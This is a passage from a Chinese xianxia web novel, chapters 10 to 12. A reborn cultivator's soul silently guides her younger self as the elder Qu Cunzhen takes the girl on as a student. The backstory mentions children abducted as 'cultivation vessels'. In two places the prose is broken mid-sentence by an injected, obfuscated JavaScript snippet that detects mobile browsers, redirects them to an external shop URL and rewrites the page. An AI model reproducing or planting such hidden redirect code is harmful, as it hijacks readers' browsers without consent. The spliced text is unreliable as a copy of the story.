有的人,为了身份、为了应酬,会刻意让容貌变得更年长、更成熟一些,比如曲家的各位长老,比如她的师尊静霄子。 曲存真十二岁筑基,为了符合身份,他刻意让身体又长了几岁,容貌定格在二十岁左右。 素遂心的元婴飘进少女的身体,钻入灵府。 灵府之中,少女的元神正蜷成一团,睡得沉沉。她抬手掐了个诀,一道昏睡咒无声无息地覆上去,觉得不够,又加了一道。 少女的眉头动了动,随即彻底松开,睡得更沉了。 左右无事,不如探查一下少女现在的状态和境界。 素遂心的目光落在灵府深处。 那里延伸出一条条灵脉,如树的根系,向四肢百骸蔓延。她顺着灵脉往下探,一路探到灵根所在。 愣住。 本该完美无瑕闪闪发光的天灵根,此刻根部却如被雷劈过,布满细细的焦痕,有的地方甚至缺了一小块。 灵光从裂缺中渗出,散得到处都是,聚不住,也收不回。 就像一棵树,根系烂了,即便枝干依旧挺拔,也无法吸收养分,最终只会慢慢枯萎。 素遂心看着那些裂纹,心神震动。 怎会如此? 灵根残成这样,她当年是怎么筑的基? 10. 为师 素遂心撤去昏睡咒。 元婴无声无息地退到灵府角落,静静蛰伏。 卯正初刻。 窗外刚刚透进来一点微弱天光,院外便有人敲门。 “遂心姑娘,起了吗?” 少女睁开眼,迷迷糊糊坐起来。门外又敲了两声,她应了句“起了”,手脚麻利地穿好衣裳,快步走到院门口拉开门。 门外站了个面生的女修,身着曲家弟子的青色法袍。 “五长老请姑娘去一趟玉垒云。” 少女愣了一下。 玉垒云是曲存真的住处。几年未见了,他忽然叫她去做什么? 她动了动唇,想问何事,又觉得曲存真的想法又怎会让这位师姐知道,于是作罢。 “哦。”她应了一声,“我洗漱一下就过去,姐姐要是有别的事,就先去忙吧。” 女修却说没有别的事要忙,并从身后递过去一只精致的食盒,说是曲存真交待她要把人领去的,还叮嘱务必待她用过吃食再动身。 她也不进院子,只依然在院外等着。 筑基之前还不能完全辟谷,好身体还得仰仗吃食。 少女接过食盒关上门,知道是曲存真找她之后,动作反而慢了下来。 洗漱、梳头,每一个动作都刻意放缓,仿佛这样就能拖延一些时间。 磨磨蹭蹭收拾妥当之后,她才拉开门跟着女修往外走。 女修带少女御剑而行。少女站在她身侧,心里满是忐忑。 她实在猜不透,曲存真找她做什么。 御剑绕过几座山峰,停在一处院落前。 院子的门楣上挂着一块匾额,是曲存真自己写的“玉垒云”三个字。 院内布置极为精巧。 青石铺路,不染尘埃,两侧种着几株老梅,此时正值花期,枝头缀满淡粉色的花苞,幽香阵阵。 少女走进院中,有些拘谨地站在梅树下。 女修示意她进去,然后退下。 少女走到房门处,静静等候。 “进来。”曲存真的声音从里面传出。 她硬着头皮走进去。 草草扫了一眼随即垂下眼皮。 屋内比屋外更雅致。 墙上挂一幅山水图,寥寥几笔,意境幽远。案上摆着几卷书,笔墨纸砚整齐。 靠窗的墙边有一盆千瓣莲,层层叠叠的花瓣拢在一处,还没到开的时候,但应该快了。 不像修士的住处,倒像凡间读书人的书房。 少女正想着,曲存真的声音从书案后传来。 “坐吧。” 她抬眼看去,曲存真端坐案后,穿一身宝蓝夹雾蓝双色织锦襕衫,黑发玉冠,白面红唇,手里握一卷书,像凡尘富贵人家的年轻公子哥,半点不像仙家一族长老。 少女在下首的椅子上坐下,腰背挺得笔直,手规规矩矩放在膝上。 曲存真看了她一会儿,放下书。 “怎么还是昨日那件?” 少女愣了一下,一时没反应过来他的意思。 “不是让人给你做了新衣裳?为何不穿?难道他们没有给你送过去?” 她这才明白过来,他是在说她的穿着。她今日穿的外裳的确还是昨日那件青杏色的半旧袄裙。 可他是怎么知道的…… “……收到了。” “那怎么不穿?” 她抿了抿唇,不知该怎么答。 总不能说,那些衣裳穿出去太招人眼她不喜欢吧。 她每天一门心思扑在修炼上,哪有心思想穿什么衣裳,向来是怎么方便怎么穿。 “没舍得。”她半天憋出三个字。 书案后,陷入了短暂的沉默。 曲存真的指尖在案上轻叩着。 “给你,便是要你穿的。见你总穿这几身,还以为是不合心意。往后每季都会给你新做,放着也是白费,不如穿出来。在曲家,不必省这些。” 少女低着头,没有说话,心里莫名有些烦躁。他根本就不明白。 素遂心却是明白少女所想的,大好的光阴,不抓紧修炼,倒为几件衣裳在此较劲,不可接受。 她神识尚未完全收敛,一个不察,竟被少女的情绪牵动。 下一瞬,少女一直低垂的头忽然抬起。 那张总是低眉顺眼的脸上,眉头微蹙,目光直直看向曲存真。 “你叫我过来,就是为了说这些——” 废话二字险些脱口而出,带着素遂心一贯的冷峭与不耐。 好在她马上便意识到这是少女的身体,硬生生将那两个字闷在了嘴里。 曲存真的目光静静停在她脸上,他看着她那双忽然变得明亮、甚至带着点逼人意味的眼睛,眼底闪过一丝诧异。 素遂心立刻撤回灵府,将身体的掌控还给了少女。 少女的眼神恍惚一瞬,眸中那点不驯褪得干干净净。她垂着眼,不知道刚才发生了什么,只以为自己走了个神,头垂得更低了些。 曲存真眼底那抹诧异也渐渐退去。 语气恢复了一贯的平淡,只是问的话却越发琐碎起来。 “晨间送去的食盒,用过了?” 少女含糊地“嗯”了一声。 “住得可还习惯?缺什么,便与我说。” 她又点点头,心想,缺什么?大概只缺不被这些无关问题打扰的时间。 “与同窗相处如何?”他翻过一页书,像是随口一问,“在景明堂可交了朋友?” 这次她摇了摇头,“没有朋友。” 曲存真翻书的指尖微微一顿,抬起眼:“为何?” “不需要。” 少女答得理所当然,甚至奇怪他为何会问这样一个显而易见的问题。修炼的时间都不够,为何要分给旁人? 曲存真:…… 曲存真不出声,她也不主动说话,本就没什么温度的气氛马上就更冷了。 少女叹一口气。 其实,他要是问她修炼上的事,她有一箩筐话可以跟他说。 可他偏偏只问这些。她连瞎编都无有兴趣。 沉默了许久,曲存真才再度开口。 “我闭关五年,半年前才出关,出关后因要稳固境界,对你……有些疏于过问。听你老师说,你修炼遇上了瓶颈,卡在筑基门槛,迟迟无法突破。” 少女抬起头,那双总是低垂的眼睛里,终于映出一点亮光。 终于,说到修炼了。 曲存真将她的变化尽收眼底。 “我既已出关,暂时也不会离开。日后你修炼上的事,便由我亲自来指点。进学还与其他弟子一道,在景明堂跟随夫子修习典籍礼法。” 亲自……指点? 少女一双眼睁得极大,黑白分明。 “怎么,你不愿意?” 素遂心知道,她当然不愿意。 七岁那年亲眼目睹他大开杀戒之后,她对他只有惧怕,恨不能有多远躲多远,哪来的愿意? 可残损的灵根摆在眼前,拒绝曲存真,等于亲手掐断自己最后的仙途,极不明智。 而此刻的少女,还不知道自己的灵根已经残损。 那个“不”字已经滚到她的嘴边,就要滑出。 “愿意。” 素遂心当机立断,掌控身躯替她应下,随即缩回灵府深处。 少女愣愣地站着,有些无措。 曲存真静静看着她,将她瞬间的神色变幻尽收眼底。 那抹惊愕与抗拒不似作伪,可那声突兀的“愿意”却又太过斩钉截铁。 他眼底掠过一丝极淡的疑虑,最终却只是微微颔首。 “那就这样。你先回去吧,准备一下,我们明日便开始。” 少女怔了一怔,才缓缓站起身,懵懵懂懂地对着曲存真行了个礼,转身往外走,脑海里一片混乱。 明明她心里是不愿意的,怎么嘴上就答得那么顺口? 刚走出房门,曲存真的声音追上来。 “新衣裳记得穿,明日不可再穿这件旧的了。” 少女眉头微微皱起,心里不情愿,却还是低声应了句“知道了”,头也不回地跑出玉垒云。 出了玉垒云,山顶的风裹挟着雪沫子扑面而来。 起风了,风雪渐大,不适合御剑,她只能沿着山路迈腿往回走。 走了数十步,一道冷厉威严的声音从斜前方传来,截住她的前路。 “你站住。” 少女的脚步顿住,这声音让她心底一沉,缓缓抬起头。 不远处,家主曲清波站在一颗雪松下,一身玄色大氅,肩头落着薄雪。 他的容貌停在三十出头的年纪,蓄着短须,容色严肃。 素遂心感觉到少女的心跳快了一些。 曲清波对族中子弟大多宽和,甚至称得上亲切。唯独每次见到她,便总要板起脸来训斥。 她每次见到他,便知少不了一顿斥责,心会不由自主地提起来。 “你这是从玉垒云出来的?”曲清波走过来,目光在她脸上扫了一圈,“五长老叫你过去做什么?” 少女垂下眼,低声应道:“五长老说……往后,修炼上的事,由他亲自指点我。” 曲清波闻言,眉峰皱了一下,眼底掠过一丝诧异,随即又被沉郁覆盖。 呵,好得很。 昨日才对他说这丫头的灵根不劳他费心,今日就自己上手安排好了,还真是上心得紧。 族内那么多天赋灵根俱佳的弟子,他何时对其他人这般上心过?便是表弟表妹,何时得过他如此关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500384|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀? 他的心可真是偏到天边去了! 曲清波走近几步,低头仔细打量眼前的少女。 这张脸不知何时已褪去孩童的稚拙,显露出清丽的轮廓。 眼似水杏,琼鼻玲珑,眉宇间藏两三分雾气,眼含些许彷徨,衣衫单薄朴素,站在漫天风雪中好似一株摇曳的小小孤花,令人望之生怜。 他心头不由一沉,无声一叹。 他这个外甥啊,修为再高,心性再冷,到底……也是个男人。 再看这丫头垂首敛目浑不在意的模样,一股怒意却又涌上心头。 这般天大的造化,旁人求神拜佛也未必能得他曲存真一顾,这丫头竟无半分欢喜。 当真是不知好歹! 他压下喉头翻滚的郁气,话锋陡然一转,语气比先前冷沉几分,训斥道:“书法课的夫子来找我,说你上课从不认真听讲,练字敷衍了事,整日神游天外。旁人都在凝神落笔,潜心练字,你却在桌下鬼鬼祟祟比划些什么?” 少女抿紧了唇,没吭声。 她在练手诀,怎能告诉他。 “问你话呢!”曲清波上前半步,威压隐隐,“耳朵聋了不成!” 少女依旧垂着眼,一言不发。 沉默的抗拒像火星,瞬间引燃了曲清波心底埋藏已久的那根毒刺。 他为这两人推算过无数次命盘,次次皆是相克相冲的凶煞之局,无半分转圜余地。 曲存真的凶兆,便是曲家的凶兆。 偏生一个执迷不悟,眼前这个更是不知好歹! “你这般不求上进、冥顽不灵的模样,配得上五长老的照拂?十年前他把你带回来,予你衣食,授你仙缘,你便是这般回报的?你以为自己是什么人?再敢这般敷衍懈怠——” 话音未落,他袖袍一卷,以灵力扼住少女的四肢,迫她下跪。 少女的膝盖重重砸在雪地里,刺骨的寒意瞬间透过单薄的衣料直钻骨髓。 她控制不住地打了个寒颤。 “今日我便罚你跪雪地思过,再封了你这几日的修为进境,看你还敢不敢目无尊长!” 灵府深处,素遂心清晰地感受到,一股源自身体记忆的、深入骨髓的恐惧,在少女的四肢百骸漫卷开来。 可以挨骂,可以罚跪,甚至可以抄写那冗长枯燥的族规……但唯独不能剥夺修为。 修为是她活下去的唯一依仗。 熟悉的无力感与绝望如狂潮翻涌,瞬间将她淹没,那是七岁时在丽娘尸身前感受到的绝望。 可她已经不是当年那个只能瑟瑟发抖、任人宰割的小女孩了。 她是素遂心。 是从半步化神跌落、曾把眼前这个人砸得濒死的人。 所以,曲清波此刻站在雪松下,一身威严地训斥她,甚至威胁她,在她眼里不过四个字——装腔作势。 少女的眼神恍惚一瞬,再睁开时,眼底再无半分青涩、绝望。 “说完了?” 她抬起头看向曲清波,仿佛在看一个死人。 曲清波一时错愕。 “说完了?” 她又问了一遍,自顾自地缓缓从雪地上站起,低头,慢条斯理地拍去膝上腿上的雪。 曲清波被她这反常的平静与从容弄得阵脚微乱,竟忘了呵斥。 “说完了的话,”她从他身侧绕了过去,“我先走了。” 曲清波盯着她的背影,直到她走出七八步远,陡然反应过来。 “你站住——” 他厉喝一声,抬脚便要追上去将她擒回。 脚步刚动,便骇然僵住。 一股沉凝的神识压在他的头顶。 元婴威压……而且,境界远在他之上! 是谁?! 他脖颈僵硬地缓缓转动,环顾四周。风声朔朔,每一团翻卷的风雪后似乎都藏着一双冰冷的眼睛。 冷汗倏地渗出额角,被风一吹,激得他一个哆嗦。 就在他心神俱震时,少女已走出去十数步了。然后,她忽然轻身一跃,在这越来越暴烈的风雪之中御剑而起。 曲清波猛地睁大了眼睛,几乎以为自己出现了幻觉。 一个炼气期弟子,敢在如此狂暴的风雪中御剑?她疯了! “我在桌下比划什么……” 少女的声音隔着呼啸的风雪飘过来,无比清晰。 “家主过几日自然就知道了。” “要动用家法,便请出家规按规矩办,而不是凭个人好恶动用私刑,传出去,曲家名声要还是不要?” 青杏色的身影在漫天风雪中远去。 随着她的离去,曲清波身上的压制骤然消失。 “呃!” 力量骤然的抽离让他踉跄一步,他慌忙扶住身边的雪松。 11. 发带 当夜,少女又做了那个梦。 梦里依然是七岁那年,灼人的热浪与浓郁难忍的血腥味,堵得她喘不过气。 她身处一片无边的血海炼狱,耳边一声声凄厉的惨叫与绝望的哭喊。 曲存真伫立炼狱中央。 雾蓝道袍被鲜血染透,紧贴身上,勾勒出昂藏身形。 守拙剑浮在他的上空,幻化成卐字阵型。 一根根猩红的血刺自血海中冲天而起。 血刺的尖端,密密麻麻插着许多人。 有给过她糖吃的老丈,有陪她在黑屋子里说悄悄话的孩童,有洗衣做饭的妇人…… 他们身上的鲜血顺着血刺蜿蜒而下,在地面汇成暗红色的河。 丽娘的身体挂在最远的那根血刺上,头沉沉垂着,脸埋在阴暗里,只露出一截苍白的脖颈。 她的心脏像是被一只手狠狠攥紧,嵌进肉里,疼得无法呼吸,眼泪疯狂滚落。 “丽娘……丽娘……” 破碎的呜咽刚溢出来,便引得上空的卐字剑阵震颤。 曲存真缓缓转过来,瞳孔里沾满血与凶戾,隔着无边血色,轻飘飘、似有若无地落到她身上。 她浑身血液冻住,腿软得像被抽去了骨头。 跑不了,喊不出,只能眼睁睁看着,从她脚下窜出一根狰狞血刺,狠狠贯穿她的身体,像挂一块破布似的,将她钉在半空…… 少女猛地睁开眼。 窗外的风雪声呼啸,像梦里的哭喊。 里衣已经湿透,冷汗顺着脖颈往下淌,她蜷起身子,把脸埋下去,过了一会儿又露出头来。 她翻了个身,又翻过来,将裹紧的被子松开,然后又裹紧,这样反反复复,可好像哪个姿势都不对。 素遂心见她翻来覆去睡不着,便给她施了个昏睡咒。 少女的呼吸平稳下来,终于睡沉了。 素遂心也闭上眼,靠在灵府的角落,疲惫感席卷而来。 今夜被这噩梦一搅,一百多年没有想起的那些画面又浮上来。 她三岁那年,素家一夜之间被灭门。 乳娘丽娘带着她侥幸逃了出来,却还是没能躲过一劫,被人抓住。 他们把她和丽娘分开,将她扔进一间黑屋子,里头已经挤着一屋子的幼童。 那些人都是散修,男的女的都有,平时伪装成村夫村妇的样子。 他们有一个村,专门猎捕有灵根的男童女童,抓来养着。 但只养到七岁。 因为,过了七岁的就“不配再叫童鼎”,而是炉鼎。 在这些人眼里,童鼎比炉鼎更纯,更补,更宝贵,七岁时必须要用掉的。 与她关在一处的孩子,今天被带走一个,明天又被拖走两个。 他们哭得撕心裂肺,死命挣扎,从没见有谁回来过。 留下来的孩子们夜里挤在一起,瑟瑟发抖地传着悄悄话,说被带走的,都“很惨很惨”…… 具体怎么个惨法,谁也说不清,但那种模糊的、巨大的恐惧,比清晰的画面更折磨人。 她缩在角落,看着身边一张张惊恐又麻木的小脸一天天变少,仿佛自己也在一寸寸靠近那个结局。 四年囚笼般的日子,在日复一日的恐惧与无声的消逝中捱过。 她七岁那年,终于轮到了她。 丽娘疯了似的冲上来,跪在地上,死死抱住那人的腿。 “她才七岁,她还小,她还那么小……求求你们,放过她,放过她吧!” 那人一脚将她踹开,旁边几个散修哄笑起来,声音刺耳又下流。 “小什么?七岁了,该长的都长齐了,还是个天灵根,好得很,好得很呐!” 丽娘又扑上来,老母鸡似的把她护在怀里,她身上瘦得只剩一把骨头,硌得她脸疼。 她们再次被粗暴地扯开。丽娘像块破布般被狠狠掼在地上,发出一声闷响,再也爬不起来。 她想冲过去,头发却被一只油腻的大手狠狠揪住,剧痛中整个人被拽了回去。 屋子里有人在哭,有人在骂骂咧咧,还有更多人在笑。 然后,所有的声音,在一瞬间被一齐斩断,天地骤然安静。 守拙剑飞进来,门被剑气撞得粉碎。 海啸般灌入屋中,瞬间吞没一切嘈杂与污浊…… 接着,是血光飞溅,断肢,戛然而止的惨叫,映亮她瞳孔的、暴烈到极致的剑光,以及一个沾满血煞、缓缓朝她转过来的昂藏身影。 她吓得晕死过去。 再后来的事,她记不太清了。 只记得丽娘捧着她的脸说的最后一句话:“观观,活下去——” 观观是她的乳名,是生下来之后父亲起的。 她生下来还未满月,家便没了。是丽娘,用命护着她直到七岁。 在曲存真给她取名之前,她一直没有大名。 十七岁以前,她虽然畏惧他,更多的却还是敬他。 是他杀了那么多人将她从无间地狱捞出来,即便她每次见过他之后便会噩梦频生。 可笑的是,她以为曲存真将她从童鼎的命运中解救出来,却不过是换了个地方,换了个主人,继续做鼎器。 ~ 卯正初刻,天还没完全亮透,少女已经准时站在玉垒云院门前。 与昨日的磨蹭不同,因为知道是要来上修炼的课,她今日动作便迅速了许多,没有丝毫耽搁。 今日风雪俱停,是个修炼的好天气。 玉垒云的门还紧闭着,她正要敲门,门从里面打开。 曲存真立在门内,见到她,明显一怔。 随即,他眼底掠过一丝极淡的、幽微的光亮。 少女被他这样看着,手不自觉地攥紧袖口,脸颊微微发烫,不大自在地低下头。 她记着他的话,今日穿的是一身新襦裙,昨晚从几只箱子里随便挑出的一套。 鹅黄上短襦配草青下长裙,还有两条同色系的发带,从头到脚配得整整齐齐。 她早晨穿上觉得太鲜亮,浑身不自在,想换又怕时间来不及耽误上课,只得硬着头皮穿来。 更让她难受的是那两条发带。 她从来没有系过这种东西,怎么系都觉得别扭。 奔跑之时,发带会在眼前飘来荡去,尾端的小珠子甚至会抽打到眼皮。 忍不了一点。 走到半路便扯下来,随便绑在了路边一枝松条上。 “这么早?”曲存真问。 少女愣了一下:“昨日……也是这个时候来的。”她以为,上课就该准时,甚至提前到场,这是她一直以来的习惯。 曲存真唇边逸出一点笑意。 她感觉到他的目光还落在自己身上,下意识低头。 曲存真看着她眼圈周围两团浅青色。 “往后不必这么早,可以再晚半个时辰。你这个年纪,正是需要多多睡觉,歇息好了,修炼才更稳当。” 少女“哦”了一声,心里却不以为然。 在她看来,贪睡才是修炼的大忌,要是身体允许,她甚至可以全天候修炼不睡觉。 还是得快些筑基,筑基之后身体便不需要睡那么多觉了。 她正默默想着,曲存真的声音又响起来,比刚才轻,却让她心头一跳。 “……发带呢?” 少女倏地抬眼。 “不是应该还有两根发带?” 少女却微微睁大了眼,他怎么连这个也知道。 曲存真看着她,目光聚焦在她头发上。原本整齐无缺的一套,现在缺了一部分。 不完美总是叫人无法忍受的。 曲存真沉默着,但沉默比追问更有压迫感。 少女被他看得心头发虚。看样子他很清楚这套衣裳有些什么搭配、配饰,她要硬说没有发带,无疑是睁眼说瞎话。 她还不敢在他面前这么放肆。 “我……只会梳最简单的马尾,”她声音低下去,带着点认命般的坦白,“用不上发带,便……没系。” “扔哪了……是在你的住处?还是随手扔在路上了?” 他怎么知道她扔了? “没扔。”少女垂下眼睫,知道瞒不过去,一半真话一半假话,“好好系着呢,就在来时的路上,在一颗树上,回去的路上我去解下来……” 曲存真几不可闻地吸了一口气,却没戳破她的谎言。 “我要出去一会儿,不会太迟回来。你先进去把早食吃了。”他顿了顿,“等你吃完我就回来了。” 少女点点头,看着他转身往外走。 她走进去,屋内的几案上果然已经摆好吃食。 她看一眼,轻轻叹口气。 几上是一碗粥、几碟小点心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500385|202699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粥是蕈子鸡丝粥,上面点缀着碧绿的葱花;点心五颜六色、晶莹剔透,一颗颗小小的,精致得像蜡做的。 昨日他叫那位姐姐送来的,其实也是差不多的吃食。 她坐下来,捧起碗,三两口就把一碗粥喝完。又拣起点心,一口一个塞进嘴里。 塞了八九口之后,几案上的食物便全没了。 可腹中还没什么饱的感觉。 她看着这些空空的碗碟,忽然十分怀念膳堂。 曲家给筑基以下的弟子提供伙食,膳堂早中晚三餐都开着,弟子们可以去领吃的。 她平时早上一般吃五六个大肉包子,两个荷包蛋,有时胃口好还要再加一个鸡腿。 她将碗具收好,施了个清洁术,将它们摆放整齐,坐着等了一会儿,曲存真却仍未回来。 不是说她吃完就回来的吗? 这些时间,已经够她吃完十几份这样的吃食了。 她又等了一会儿,渐渐坐不住,干脆人站起来,踮着脚尖往外看,可视线所及,只有一片洁白的雪地。 曲存真的身影并没有出现在门外。 早晨是一日之中最适宜修炼的时光,此时灵气最浓郁最易聚拢,在这大好的时光不能修炼却只能干等,这个认识令她逐渐焦躁。 她一焦躁,灵根就开始发热,发烫。 灵根已经受损,不能再烧起来。 素遂心见状,赶忙给她施了个昏睡咒,停止她的焦虑,也让她在曲存真回来之前继续睡一会儿,补补昨晚被噩梦占去而少睡的觉。 素遂心站在门口,向外看了一眼,根本看不到曲存真归来的身影,也不知他到底去做什么。 转身打量他的住处。 和曲存真成亲十年,她其实没来过玉垒云几次。 十七岁成亲,她仍住原来的院子,即使十八岁圆房后,他也没提过让她搬来。 成亲不过是个幌子,掩盖她是他的炉鼎他是她的主人的事实。 一个炉鼎,怎么配和主人住在一起? 每次双修,都是他去她那里,是临幸,也是掠夺。 现在想来,他们对彼此的了解,大概也就这么多了。 他的喜好她不知道,她的喜好他也未必真的清楚。 他的给予,对她来说从来不是惊喜,更谈不上愉悦。 唯一的例外,大概是那支千瓣莲的簪子。簪子里的灵力,供她一路走到结婴。 想到簪子,她的目光转到窗边那盆千瓣莲上。 然后她愣住了。 其中一朵,那拢着的花瓣,竟隐隐有松动的迹象。 最外层的几片,正一点一点地向外舒展,像是有什么东西要从里面挣出来。 素遂心被吸引着走过去。 她在花盆前俯下身,凑近了观看。 花瓣还在微动,很慢,幅度很小,元婴以下的修为不会察觉得到。 她盯着那朵还在努力开放的莲苞,心底忽然生出一丝好奇,想知道,它完全绽放开来,会是什么样子。 鬼使神差地,素遂心抬起手,指尖凝出一丝灵力,小心渡了过去。 花瓣颤了颤。 然后,最外层的几片缓缓舒展开,接着是里面的一层,再里面的一层…… 一层一层,在她眼前次第绽开。 最后一层完全打开时,她屏住呼吸,眼底满是惊艳。 那花开得太好了。 花瓣层层叠叠,薄得透光,边缘泛着淡淡的粉,越往中心越白,整朵笼在一层极淡的灵光里。 素遂心看得出了神,不自觉地凑得更近一些,再微微俯身,偏头凝视,眼神难得柔和下来。 她身上鹅黄草青的衣裳,被窗外柔和的天光映着,衬得整个人肌肤胜雪,像是刚从画里走出。 乌发如云,没有点缀任何饰物,鬓边恰好贴着那朵盛开的千瓣莲。 分不清是花映人,还是人衬花。 画面静谧而美好。 她看得专注,丝毫未曾察觉,门口不知何时已静静立了一个人。 脚下像生了根,呼吸也轻轻屏住。 眼底亦满是惊艳,正用同样专注、柔和的目光看着她。 曲存真站在那里,手里还捏着那两根自路边松枝上解下的、沾着晨露的发带。 他忽然清楚地知道,眼前这一幕,他大概此生都忘不掉了。 12. 天珠 素遂心察觉到曲存真站在门口。 不敢有半分耽搁,立刻撤去昏睡咒将少女唤出,自己则再次蛰伏起来。 少女眨了眨眼,惺忪看着眼前开得正盛的千瓣莲。 咦,这花竟然开了。 奇怪,她是什么时候走到这儿来了?又走神了吗? 看来今晚须早些睡,希望不要再做噩梦。 还没等她想明白,从门口传来脚步声。她直起身,看见曲存真朝她走过来。 总算是回来了,她长长地吁了口气。 曲存真按下对刚才那一幕的恋恋不舍,目光不经意扫过几案。 几案上碗碟空空,均已清理干净并收好,整整齐齐摆放着。 他有些意外,“已经吃完了吗?” “嗯,吃完了。” 他不提还好,一提,少女因久等而滋生的那几分恶劣情绪便又上头。 “很早,就吃完了。” 她将“很早”两个字咬得特别重,眼底的不耐几乎要藏不住。 曲存真还有什么不明白的,颇有些歉意:“我估算错误,是我的不是。我以为你们小姑娘,用食都是如此……” 如此什么?他没点明,不外乎是斯文,淑女,优雅。 他口中的小姑娘说的是曲澜吧。 她见过曲澜吃东西,姿态确实十分优雅,细嚼慢咽,细细品尝。 所以,他便按照曲澜的速度来衡量她的?也是比照曲澜的食量为她准备吃食,或许也比照了曲澜的喜好。 这份早食,若食用之人换成曲澜,那么他回来得恰是时候,并不算晚。 可她不是曲澜。 曲澜有父母兄长,有家族,还有他这个表兄,曲澜不必急着修炼,曲澜也不赶时间。 少女双唇紧抿,低下头,余光瞧见他的手拢在袖中微微动了几下。 他今日穿的是一身素色仙袍,宽舒飘逸,大袖宽博,褪去了昨日的华贵,多了几分清俊出尘,像个年轻的仙君。 待走到她面前时,他抬起手,大袖滑落,手中正拈了两根发带。 少女见到那两根发带,先是一愣,随即瞪大双眼,不可思议地看着曲存真。 所以,让她等了这么久,让她在这大好的修炼时光、在灵气最充沛的早晨等这么久,就是为了去找回被她扔掉的两根发带? 仅此而已? 他到底知是不知,不是每个人的一生,都能似他那般春风得意顺风顺水的,天赋、修为、地位样样唾手可得。 她每日拼命不停追赶,却只能卡在筑基的门槛上,一步迈不出去。 她需要有人教有人指点,需要有人告诉她该怎么走。 可他呢? 这个死乞白赖非要当她老师的人,在授课的第一日,就浪费了她大半个早晨,只为去找回两根无关紧要的发带! 少女深吸一口气,那几分恶劣陡然汹涨,顷刻间盈满肺腑。 “我想了想——” 她不十分真诚地弯腰朝曲存真鞠了一躬。 “五长老族务繁多,我还是不占用您的时间了。修炼的事,日后我还是和大家一起吧,就……不麻烦您了。” 说完,也不等他答复,她绕过他便往门外走去。 真不知昨日是撞了什么邪,竟鬼使神差地一口答应下来。 曲存真:…… 素遂心:…… 少女刚走到院中,曲存真便追出来。 轻袍广袖带起一卷凉风,引得树上的梅花也纷纷飘落。 大部分落在地上,还有少许落在她的头上,肩上。 曲存真站在她面前,将去路挡住。 “无缘无故,为何生气?” “我没有生气。” 她忍耐着,不敢触怒他,尽量平静地说话。 他回想一下两人之前的对话,明明还没说上几句。 “可是因为我方才说你吃饭快?” 吃饭快怎么了?她摇摇头,只一副急着离开的样子。 他无奈扶额。 两人并未在一起相处过太多时日,彼此不了解也是正常。只不过才第一日就遇上这般难题,境况之难,竟不亚于当年冲击元婴。 “那究竟是为何?总得叫我知道。” 他顿了顿,目光落在手中的发带上,语气带着几分不确定。 “……是为了我回去捡发带的事?等我很久了,对不对?” 少女瞥一眼发带,很是嫌弃地移开目光。 曲存真叹一口气,答案已经不言而喻。 “那你……要不要听听我的解释,然后再决定生不生气呢?” 少女低着头没说话,浑身上下都写着“不要”。 如果不是被他挡住去路,她一步都不会停留。 曲存真抬手揉捏一下眉间,“……不是普通的发带。” 少女这才抬起头。 两三朵落梅正栖在她一侧碎发上。 曲存真心头微微一动。 好像不论什么样的花,在她身上都格外相宜,总叫人移不开眼。 曲存真自袖中伸出手,掌心摊开,一手捏住发带,一手拈着发带上的小小珠子。 那是两枚水滴形的珠子,通体莹润,隐隐泛着淡青色的光。 “你来,仔细瞧瞧。” 他引她来看。 少女的目光一下被那两枚珠子吸引。 “这叫养灵天珠,是根据你的灵根属性炼制的,可以温养你的灵脉和灵根。你不是筑基困难吗?有它相助,会轻松许多。” “炼制它们可费了不少功夫,你倒好,”他无奈笑了笑,“随手就当……” 他没说下去,但意思很清楚,她随手就把这珍贵的养灵天珠,当成垃圾扔了。 “我总得去捡回来,不然,岂不是白费了一番功夫?” 少女张了张嘴,一张脸错愕着渐渐由白转红。 “其余那些新衣裳,每一套也都配了这样两颗养灵天珠,你下回可不要再随手扔了。” “我——”少女窘迫地低下头。 曲存真轻轻摇了摇头。 “不怪你,不要自责。是我的错,我应该早就与你说清楚的,不该让你误会。现在……可还生气?” 她毫不扭捏地便摇头。 曲存真走到她身前,他身形颀长,比她高出一个头还多,站定便将她整个人都笼在自己的身影里。 见她脑后马尾已有些松垮,几缕碎发垂落颈间,便微微俯身,手指轻轻拢起那些碎发,不过三两下,便将散漫的发丝绕成一个蓬蓬的髻,再用发带稳稳束住。 少女原地站着,大气都不敢出。 几朵梅花擦着她的脸颊飘落,痒痒的。 曲存真退后一步,打量了一眼,似乎十分满意自己的手艺。 他抬起手,二指并拢,指尖凝出一缕灵光,轻轻点在她发间那两枚养灵天珠上。 灵光一闪而没。 少女只觉得头皮微微一热,像是有什么东西从发间渗进去,顺着灵脉往下走。 灵府中,素遂心看见那些细碎的灵光从灵台渗入,沿着受损的灵根一点点缓慢地蔓延。 她抬起手,指尖凝出一缕灵力,悄无声息缠上渗进来的灵光,推动着带领着它们沿干枯裂纹游走。 就像干涸的沙漠终于渗进了第一滴水。 灵根上那些细密的裂纹,有几条极浅的,竟隐隐有愈合的迹象。 素遂心想,这样倒是快。 只要日日过来,有曲存真的灵力养着,也有她的灵力在里面配合,修复灵根应当不需太久。 灵根修复,筑基自然水到渠成。 其实还是有些私心的,她做不到只冷眼旁观。 想让这个时空的自己早点感受到快乐是什么滋味,想让她早点尝到些甜头。 哪怕只有一点点,哪怕这点甜头很快就会被收回。 曲存真收了手,退后一步。 